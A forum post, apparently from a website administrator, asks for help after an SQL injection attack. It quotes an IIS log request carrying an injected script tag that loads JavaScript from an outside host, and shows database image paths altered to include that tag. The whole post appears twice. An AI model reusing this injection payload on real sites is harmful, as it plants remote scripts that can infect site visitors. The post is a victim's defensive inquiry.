- - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - -
GET /sresult.asp
title=(Your%20L ove%20Keeps%20L ifting%20Me)%20 Higher%20And%20 Higher&artist=M ichael%20McDona ld&type=%25&cat egory=%25&colum n=t_asc%3Cscrip t%20src=
http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
My table was evidently hit with SQL Injection. I searched the IIS logs and
found hundreds of the below instances. Questions...
1) The end result was my image columns were updated to reflect:
Original data: files/icons/ps987_75.jpg
Updated data: files/icons/ps987_75.jpg<sc ript
src=http://www.advabnr.com/b.js></script>
Thousands of records were updated like the above.
I tried downloading http://www.advabnr.com/b.js to see what's inside, but it
wasn't available.
What could have been in the js file to cause such an update?
2) I don't see how they could have known the Table name or the column names.
Same question as #1 I guess.
3) I was and still am using a stored procedure on that page to SELECT from
the table. How do I stop similar malicious efforts from happening again?
thanks
GET /sresult.asp
title=(Your%20L ove%20Keeps%20L ifting%20Me)%20 Higher%20And%20 Higher&artist=M ichael%20McDona ld&type=%25&cat egory=%25&colum n=t_asc%3Cscrip t%20src=
http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
My table was evidently hit with SQL Injection. I searched the IIS logs and
found hundreds of the below instances. Questions...
1) The end result was my image columns were updated to reflect:
Original data: files/icons/ps987_75.jpg
Updated data: files/icons/ps987_75.jpg<sc ript
src=http://www.advabnr.com/b.js></script>
Thousands of records were updated like the above.
I tried downloading http://www.advabnr.com/b.js to see what's inside, but it
wasn't available.
What could have been in the js file to cause such an update?
2) I don't see how they could have known the Table name or the column names.
Same question as #1 I guess.
3) I was and still am using a stored procedure on that page to SELECT from
the table. How do I stop similar malicious efforts from happening again?
thanks
Comment